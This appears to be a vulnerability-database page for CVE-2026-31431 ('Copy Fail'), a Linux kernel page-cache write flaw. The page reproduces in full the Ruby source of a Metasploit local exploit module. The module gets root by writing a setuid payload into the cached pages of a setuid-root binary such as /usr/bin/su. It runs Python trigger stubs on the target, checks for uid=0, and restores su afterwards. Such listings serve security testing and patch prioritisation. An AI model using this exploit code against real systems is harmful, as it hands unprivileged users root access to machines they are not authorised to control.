METASPLOIT 7.8 HIGH

Copy Fail AF_ALG + authencesn Page-Cache Write_MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_31431_COPY_FAIL-

7.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the AFALG socket interface combined with splice, allows an unprivileged local user to perform a controlled 4-byte write into the page cache of any...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-LINUX-LOCAL-CVE_2026_31431_COPY_FAIL-
Published May 1, 2026 at 19:01

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Architecture
include Msf::Post::Process

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Copy Fail AF_ALG + authencesn Page-Cache Write',
'Description' => %q{
CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.
},
'References' => [
['CVE', '2026-31431'],
['URL', 'https://copy.fail/'],
['URL', 'https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py'],
['URL', 'https://github.com/rootsecdev/cve_2026_31431']
],
'Author' => [
'Xint Code',
'rootsecdev', # cleanup technique and additional PoC
'Spencer McIntyre', # metasploit module
'Diego Ledda' # metasploit module
],
'DisclosureDate' => '2026-04-29',
'License' => MSF_LICENSE,
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[
# the payload is a linux command but the target must be a supported architecture (have an exec payload and
# PrependSetuid support)
'Linux Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
# Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic
# x86_64, 2036 on 6.6.63-v8+ aarch64) if Metasploit changes the ELF executable size in the future, this
# may need to be updated
'Payload' => { 'Space' => 1847, 'DisableNops' => true }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['Copy Fail'],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
end

def check
stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-check.py'))
begin
output = run_python_stub(stub_source)
rescue Msf::Exploit::Failed => e
return CheckCode::Unknown("The exploit check failed: #{e}")
end

last_error = nil
output.split("\n").each do |line|
if line.start_with?('[-] ')
print_error(last_error) if last_error
last_error = line[4...]
elsif line.start_with?('[+] ')
print_good(line[4...])
elsif line.start_with?('[*] ')
print_status(line[4...])
else
print_line(line)
end
end

return CheckCode::Safe(last_error) if last_error

begin
result = run_command('id')
rescue Msf::Exploit::Failed => e
return CheckCode::Unknown("The exploit check failed: #{e}")
end

return CheckCode::Vulnerable if result =~ /uid=0(\(\w+\))?/

CheckCode::Safe('The target system is not exploitable.')
end

def find_exec_program
%w[python python3 python2].select(&method(:command_exists?)).first
end

def exploit
run_command(payload.encoded)
end

def run_python_stub(stub_source, *args)
python_binary = @python_binary || find_exec_program
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary

if @python_binary.nil?
vprint_status("Using '#{python_binary}' on the remote target.")
@python_binary = python_binary
end

stub = Msf::Payload::Python.create_exec_stub(stub_source)

create_process(
'/bin/sh',
args: ['-c', "echo #{Shellwords.escape(stub)} | exec #{python_binary} - \"$@\"", '-'] + args
)
end

def run_command(os_command)
os_architecture = get_os_architecture

unless [ ARCH_X64, ARCH_AARCH64 ].include?(os_architecture)
# this is an artificial filter for MVP while the details for the other architectures are worked out and tested.
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.")
end

cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec")
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')

cmd_payload.datastore['CMD'] = os_command
cmd_payload.datastore['PrependSetuid'] = true
elf = cmd_payload.generate_simple('Format' => 'elf')

# this is useful for determining the max size that can be written by the exploit
vprint_status("Generated a #{elf.size} byte ELF executable...")

print_status('Triggering the vulnerability using Python...')
stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431.py'))
run_python_stub(stub_source, ::Base64.strict_encode64(Zlib::Deflate.deflate(elf)))
end

def cleanup
# cleanup technique to restore su to the original behavior courtesy of
# https://github.com/rootsecdev/cve_2026_31431/blob/f288952034d0d1b21c035d178c7a485dcf6a3618/exploit_cve_2026_31431.py#L183-L187
stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-cleanup.py'))
run_python_stub(stub_source)
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.